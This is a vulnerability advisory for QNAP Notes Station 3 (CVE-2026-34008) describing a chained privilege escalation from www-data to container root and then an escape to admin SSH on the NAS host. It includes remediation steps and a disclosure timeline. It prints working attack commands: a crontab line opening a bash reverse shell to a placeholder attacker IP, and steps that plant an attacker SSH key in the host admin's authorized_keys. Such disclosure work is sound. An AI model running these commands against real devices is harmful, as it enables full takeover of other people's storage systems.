QNAP Notes Station 3: Container Privilege Escalation and Host Escape
Summary
Notes Station 3 ships with two independent permission failures that chain together cleanly:
- A root-owned PHP monitor inside the container (
cron_monitor.php) reads and installs a crontab from a path that is writable bywww-dataon a file-sentinel trigger. Any code that runs aswww-datacan handrootan arbitrary crontab. - The container mounts the host’s
/share/CACHEDEV1_DATA/homes/read-write with no user-namespace remapping. Containerrootis hostroot, so once root inside the container is held, the attacker can write any user’s.ssh/authorized_keyson the host.
Together this takes any www-data foothold to container root, and from container root to admin-level SSH on the NAS host. Full device compromise.
This advisory is most directly chained from qnap-nas-1, the pre-auth RCE that yields the initial www-data foothold.
Affected Product
| Field | Value |
|---|---|
| Device | QNAP TS-453E |
| Firmware | QTS 5.2.9.3410 |
| Plugin | Notes Station 3, v3.9.10 |
| Vendor | QNAP Systems, Inc. |
Access required at exploitation time: a www-data foothold inside the Notes Station 3 container (reachable pre-auth via qnap-nas-1).
CVSS v3.1: 8.8 (High) · AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (post-foothold). Chained with qnap-nas-1 the end-to-end score reaches 9.9.
Stage 1: Container Privilege Escalation (www-data → container root)
A long-running root-owned PHP process is permanently active inside the container and watches a sentinel file:
PID USER COMMAND
1 root /bin/sh /start.sh
165 root /usr/sbin/crond -f
166 root /usr/bin/php /cron_monitor.php
// /cron_monitor.php (running as root)
<?php
while (true) {
if (file_exists('/var/www/NotesStation3/cron.update')) {
exec("/usr/bin/crontab /var/www/NotesStation3/storage/crontabs/root");
unlink('/var/www/NotesStation3/cron.update');
} else {
sleep(1);
}
}
?>
The directory and the file it consumes are owned and writable by www-data:
$ ls -la /var/www/NotesStation3/storage/crontabs/
drwxr-xr-x 2 www-data www-data 4096 .
-rw-r--r-- 1 www-data www-data 35 root
Because www-data controls both the crontab file and the sentinel that triggers the monitor, anything running as www-data can cause root to install an attacker-supplied crontab on demand.
Trigger
From a www-data shell:
echo '* * * * * bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<LPORT> 0>&1"' \
> /var/www/NotesStation3/storage/crontabs/root
touch /var/www/NotesStation3/cron.update
# root callback within ~60 seconds
Remediation
- Strip
www-datawrite access fromstorage/crontabs/and the sentinel path. - Have
cron_monitor.phpverify ownership and permissions before invokingcrontab. For example, require the file to be owned byrootand not world- or group-writable. - Replace the file-trigger pattern with a privileged service exposing a narrow, well-typed API.
Stage 2: Container Escape (container root → host admin)
With root inside the container, the host filesystem is exposed via a writable bind mount. Inspecting the container shows the entire host /share tree is mounted in:
$ system-docker inspect <NS3 container> --format '{{range .Mounts}}{{.Source}} -> {{.Destination}} rw={{.RW}}{{println}}{{end}}'
...
/share -> /share rw=true
...
$ cd /share/CACHEDEV1_DATA/homes/ && ls -la
drwxrwxrwx 9 root root .
drwxrwxrwx 4 root root admin
drwxrwxrwx 6 node users testuser
[...]
The bind mount is /share -> /share with rw=true, which means every NAS share, every user home (with their .ssh/authorized_keys), and every QPKG install is reachable read-write from inside the container. There is no user-namespace remapping: /proc/self/uid_map inside the container reads 0 0 4294967295 (identity map over the full 32-bit UID space), so container root is host root. The attacker can write to any user’s .ssh/authorized_keys and authenticate over SSH as that user on the host.
Trigger
# attacker
ssh-keygen -t rsa -f ./qnap_escape
# container as root
mkdir -p /share/CACHEDEV1_DATA/homes/admin/.ssh/
chown admin:everyone /share/CACHEDEV1_DATA/homes/admin/.ssh/
echo "<attacker_public_key>" >> /share/CACHEDEV1_DATA/homes/admin/.ssh/authorized_keys
# attacker
ssh -i ./qnap_escape admin@<NAS_IP>
# admin shell on the NAS host
Remediation
- Mount host paths read-only wherever write access is not strictly required.
- Notes Station 3 should not have any access to user home directories. Scope mounts to the specific paths the application actually needs.
- Apply user-namespace remapping so container
rootis not hostroot.
Disclosure Timeline
- 2026-03-29: Case opened with QNAP PSIRT
- 2026-03-31: Case assigned by QNAP PSIRT
- 2026-04-15: Patched and CVE assigned
- 2026-04-20: Follow-up
- 2026-05-08: Follow-up
- 2026-05-17: Public advisory
CVE: CVE-2026-34008
Related
- qnap-nas-1: Pre-auth RCE that supplies the initial
www-datafoothold this advisory escalates from. - The QNAP Pattern: Architectural background and platform-level critique of the bug class behind this advisory.